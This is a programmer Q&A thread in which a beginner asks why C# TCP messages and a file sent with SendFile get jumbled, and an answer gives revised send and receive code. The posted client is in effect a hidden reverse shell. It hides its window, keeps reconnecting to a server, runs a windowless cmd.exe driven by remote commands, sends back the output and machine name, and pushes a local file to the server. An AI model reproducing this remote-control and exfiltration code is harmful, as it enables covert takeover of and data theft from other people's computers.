Search code examples
c#tcptcpclientnetworkstream

C# Client.SendFile() separating stream


Please bear in mind I am new to C# language and networking so forgive me if this might sound obvious.

I'm just in the process of understanding TCP clients and how to separate streams...

In this example, I have 3 sets of data that I want to send...

  1. is a CMD output:

         private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
         {
             StringBuilder strOutput = new StringBuilder();
             if (!String.IsNullOrEmpty(outLine.Data))
             {
                 try
                 {
    
                     strOutput.Append(outLine.Data);
                     buffer = encoder.GetBytes("2 " + outLine.Data+ "\r\n");
                     networkStream = newclient.GetStream();
                     networkStream.Write(buffer, 0, buffer.Length);
                     networkStream.Flush();
                 }
                 catch (Exception err) { }
             }
         }
    

Which returns as a first stream the following:

enter image description here

With a prebuffer as number 2(To separate the data)

  1. The second Is a simple get info:

     private void GetClientinfo()
         {
             networkStream = newclient.GetStream();
             buffer = encoder.GetBytes("1 " + Environment.MachineName +"\n"+"Connected");
             networkStream.Write(buffer, 0, buffer.Length);
             networkStream.Flush();
         }
    

Which then sends the following :

enter image description here

So then my stream ends up being separated:

enter image description here

My issue is then that I try to send a file with the following script:

private void sendFile()
        {

            // Create the preBuffer data.
            string string1 = String.Format("9 ");
            byte[] preBuf = Encoding.ASCII.GetBytes(string1);

            // Create the postBuffer data.
            string string2 = String.Format("");
            byte[] postBuf = Encoding.ASCII.GetBytes(string2);
            string filePath = @"\Users\nico_\Documents\transfer_ex.txt";
            
            newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread);
            


        }

As you can see, it ends up getting jumbled up with the second stream being sent... What would be the cause of this?

enter image description here

FULL SERVER SCRIPT:

public partial class Form1 : Form
    {
        TcpListener tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
        private int appStatus = 0;
        TcpClient client;
        TcpClient streamData;
        List<TcpClient> clientList = new List<TcpClient>();
        NetworkStream networkStream;
        Thread th_StartListen, th_handleClient;
        StringBuilder strOutput;



        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            th_StartListen = new Thread(new ThreadStart(StartListen));
            th_StartListen.Start();
            txtCmdOutput.Focus();
        }

        private void StartListen()
        {
            //Creating a TCP Connection and listening to the port
            tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
            tcpListener.Start();
            toolStripStatusLabel1.Text = "Listening on port 6666 ...";
            int counter = 0;
            appStatus = 0;

            while (appStatus != 2)
            {
                try
                {
                    client = tcpListener.AcceptTcpClient();
                    counter++;
                    clientList.Add(client);
                    IPEndPoint ipend = (IPEndPoint)client.Client.RemoteEndPoint;
                    //Updating status of connection
                    toolStripStatusLabel1.Text = "Connected from "+ IPAddress.Parse(ipend.Address.ToString());
                    appStatus = 1;
                    th_handleClient = new Thread(delegate () { handleClient(client, counter); });
                    th_handleClient.Start();
                }
                catch (Exception err)
                {
                    {
                        Cleanup();
                    }
                }
            }
        }

        private void handleClient(object client, int i)
        {
            try
            {
                TcpClient streamData = (TcpClient)client;
                byte[] data = new byte[4096];
                byte[] sendData = new byte[4096];
                int byteRead;
                string strdata;
                ASCIIEncoding encode = new ASCIIEncoding();
                Thread.Sleep(2000);
                NetworkStream networkstream = streamData.GetStream();
                //Send Command 1
                sendData = encode.GetBytes("1");
                networkstream.Write(sendData, 0, sendData.Length);
                networkstream.Flush();
                //Listen...
                while (true)
                {
                    byteRead = 1;
                    byteRead = networkstream.Read(data, 0, 4096);
                    //receiveFile();


                    if (networkstream.DataAvailable != true)
                    {
                        
                        strdata = Encoding.ASCII.GetString(data, 0, byteRead);
                        Debug.WriteLine(strdata);
                        

                        //Get user info
                        if (strdata.StartsWith("1"))
                        {
                            updateLabel(labelMachinename, strdata, 0);
                            updateLabel(labelSampleOutput, strdata, 1);
                        }
                        if (strdata.StartsWith("2"))
                        {
                            updateText(txtCmdConsole, strdata);
                        }
                        if (strdata.StartsWith("9"))
                        {
                            Debug.WriteLine(strdata);
                        }
                        //receiveFile();
                    }
                }
            }
            catch (Exception err)
            {
                {
                    Cleanup();

                }
            }

        }



        private void receiveFile()
        {
            StreamReader reader = new StreamReader(client.GetStream());
            string fileSize = reader.ReadLine();
            string fileName = reader.ReadLine();
            int length = Convert.ToInt32(fileSize);
            byte[] buffer = new byte[length];
            int received = 0;
            int read = 0;
            int size = 1024;
            int remaining = 0;

            while (received < length)
            {
                remaining = length - received;
                if (remaining < size)
                {
                    size = remaining;
                }

                read = client.GetStream().Read(buffer, received, size);
                received += read;
            }
            // Save the file using the filename sent by the client    
            using (FileStream fStream = new FileStream(Path.GetFileName(fileName), FileMode.Create))
            {
                fStream.Write(buffer, 0, buffer.Length);
                fStream.Flush();
                fStream.Close();
            }

            Debug.WriteLine("File received and saved in " + Environment.CurrentDirectory);
        }

        private void txtCmdOutput_KeyDown(object sender, KeyEventArgs e)
        {
            try
            {
                if (e.KeyCode == Keys.Enter && appStatus == 1)
                {
                    TcpClient streamData = (TcpClient)client;
                    byte[] sendData = new byte[4096];
                    ASCIIEncoding encode = new ASCIIEncoding();
                    NetworkStream networkstream = streamData.GetStream();
                    sendData = encode.GetBytes("2 "+ txtCmdOutput.Text.ToString());
                    networkstream.Write(sendData, 0, sendData.Length);
                    networkstream.Flush();
                    txtCmdOutput.Text = "";
                }
            }
            catch (Exception err) {
                {
                    Cleanup();
                    
                }
            }
        }


        private void updateLabel(Label label,string strdata, int row)
        {
            label.Invoke((MethodInvoker)delegate
            {
                label.Text = strdata.Substring(2).Split(new char[] { '\r', '\n' })[row];
            });

        }

        private void updateText(TextBox text, string strdata)
        {
            text.Invoke((MethodInvoker)delegate
            {
                text.AppendText(strdata.Substring(2));
            });

        }

        private void btnKillClient_Click(object sender, EventArgs e)
        {
            try
            {
                TcpClient streamData = (TcpClient)client;
                byte[] sendData = new byte[4096];
                ASCIIEncoding encode = new ASCIIEncoding();
                NetworkStream networkstream = streamData.GetStream();
                sendData = encode.GetBytes("3");
                networkstream.Write(sendData, 0, sendData.Length);
                networkstream.Flush();
                Cleanup();
            }
            catch (Exception err)
            {
                {
                    Cleanup();

                }
            }
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            System.Environment.Exit(System.Environment.ExitCode); 
        }

        private void Cleanup()
        {
            try
            {
                toolStripStatusLabel1.Text = "Connection Lost";
                
            }
            catch (Exception err) { }
        }
    }

FULL CLIENT SCRIPT:

public partial class Form1 : Form
    {
        private int appStatus = 0;
        TcpClient newclient = new TcpClient();
        NetworkStream networkStream;
        byte[] buffer = new byte[4096];
        ASCIIEncoding encoder = new ASCIIEncoding();
        Process processCmd;
        Thread th_ListenToServer, th_RunServer;

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            this.Hide();
            th_ListenToServer = new Thread(new ThreadStart(ListenToServer));
            th_ListenToServer.Start();
            //ConnectToServer();


        }

        private void ListenToServer()
        {

            while (!newclient.Connected)
            {
                try
                {
                    newclient = new TcpClient();
                    
                    Debug.WriteLine("trying to connect...");
                    newclient = new TcpClient("127.0.0.1", 6666);
                    networkStream = newclient.GetStream();
                    th_RunServer = new Thread(new ThreadStart(RunServer));
                    th_RunServer.Start();

                }
                catch (Exception ex)
                {
                    Debug.WriteLine("Could not connect to server");
                    System.Threading.Thread.Sleep(5000); //Wait 5 seconds then try again
                }
            }
        }


        private void RunServer()
        {

            byte[] data = new byte[4096];
            int i;
            string strdata;
            i = 0;
            CmdHandler();
            sendFile();  
            while (newclient.Connected)
            {
                try
                {
                    i = 0;
                    i = networkStream.Read(data, 0, data.Length);
                    if (i == 0) { break; }
                    strdata = Encoding.ASCII.GetString(data, 0, i);
                    Debug.WriteLine(strdata);

                    if (strdata == "1")
                    {
                        GetClientinfo();
                    }

                    if (strdata.StartsWith("2"))
                    {
                        //Debug.WriteLine(strdata);
                        processCmd.StandardInput.WriteLine(strdata.Substring(2));
                    }
                    if (strdata.StartsWith("3"))
                    {

                        StopServer();
                    }
                    if (strdata.StartsWith("4"))
                    {

                        StopServer();
                    }
                    else
                    {
                        //sendFile();

                    }
                }
                catch
                {
                    Cleanup();
                    new Thread(ListenToServer).Start();
                    Debug.WriteLine("Attempting Reconection");
                }
            }
        }


        private void sendFile()
        {
            /*
            // Create the preBuffer data.
            string fileName = @"\Users\nico_\Documents\transfer_ex.txt";
            byte[] fileNameByte = Encoding.ASCII.GetBytes(fileName);
            byte[] fileNameLen= BitConverter.GetBytes(fileNameByte.Length);
            byte[] fileData = File.ReadAllBytes(fileName);
            byte[] clientData = new byte[4 + fileNameByte.Length + fileData.Length];

            fileNameLen.CopyTo(clientData, 0);
            fileNameByte.CopyTo(clientData, 4);
            fileData.CopyTo(clientData, 4 + fileNameByte.Length);
            
            networkStream = newclient.GetStream();
            buffer = encoder.GetBytes("9 " + clientData);
            networkStream.Write(buffer, 0, buffer.Length);
            networkStream.Flush();
            */

            string string1 = String.Format("9 ");
            byte[] preBuf = Encoding.ASCII.GetBytes(string1);

            // Create the postBuffer data.
            string string2 = String.Format("");
            byte[] postBuf = Encoding.ASCII.GetBytes(string2);
            string filePath = @"\Users\nico_\Documents\transfer_ex.txt";
            
            newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread);





        }


        private void GetClientinfo()
        {
            networkStream = newclient.GetStream();
            buffer = encoder.GetBytes("1 " + Environment.MachineName + "\n" + "Connected");
            networkStream.Write(buffer, 0, buffer.Length);
            networkStream.Flush();
        }

        private void CmdHandler()
        {
            processCmd = new Process();
            processCmd.StartInfo.FileName = "cmd.exe";
            processCmd.StartInfo.CreateNoWindow = true;
            processCmd.StartInfo.UseShellExecute = false;
            processCmd.StartInfo.RedirectStandardOutput = true;
            processCmd.StartInfo.RedirectStandardInput = true;
            processCmd.StartInfo.RedirectStandardError = true;
            //processCmd.OutputDataReceived += CaptureOutput;
            //processCmd.ErrorDataReceived += CaptureError;
            processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
            processCmd.ErrorDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
            processCmd.Start();
            processCmd.BeginOutputReadLine();
        }

        private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();
            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {

                    strOutput.Append(outLine.Data);
                    buffer = encoder.GetBytes("2 " + outLine.Data + "\r\n");
                    networkStream = newclient.GetStream();
                    networkStream.Write(buffer, 0, buffer.Length);
                    networkStream.Flush();
                }
                catch (Exception err) { }
            }
        }


        private void Cleanup()
        {
            try { processCmd.Kill(); } catch (Exception err) { };
            networkStream.Close();
        }
        private void StopServer()
        {
            Cleanup();
            System.Environment.Exit(System.Environment.ExitCode);
        }



    }

Solution

  • Here is the answer:

    CLIENT SIDE:

    private void sendFile()
            {
                string string1 = "9";
                byte[] preBuf = Encoding.ASCII.GetBytes(string1);
    
                // Create the postBuffer data.
                string string2 = "";
                byte[] postBuf = Encoding.ASCII.GetBytes(string2);
                string filePath = @"\Users\nico_\Documents\transfer_ex.txt";
                newclient.Client.SendFile(filePath, preBuf, postBuf, TransmitFileOptions.UseDefaultWorkerThread); 
            }
    

    SERVER SIDE:

    private void ReceiveFile(byte[] data, int byteRead)
            {
                var path = @"\Users\nico_\Documents\transferreeedd_ex.txt";
    
                
                FileStream fs = File.OpenWrite(path);
                //Debug.WriteLine(byteRead);
                //Debug.WriteLine(data);
                string ddstrdata = Encoding.ASCII.GetString(data, 0, byteRead);
    
                for (int i = 1; i < byteRead; i++)
                {
                    Debug.WriteLine(i);
                    fs.WriteByte(data[i]);
                    
                }
                fs.Close();
            }
    

    If you dont use any separtators, on newclient.Client.SendFile you can just put the Filepath and on Server side int i = 0 & not int i = 1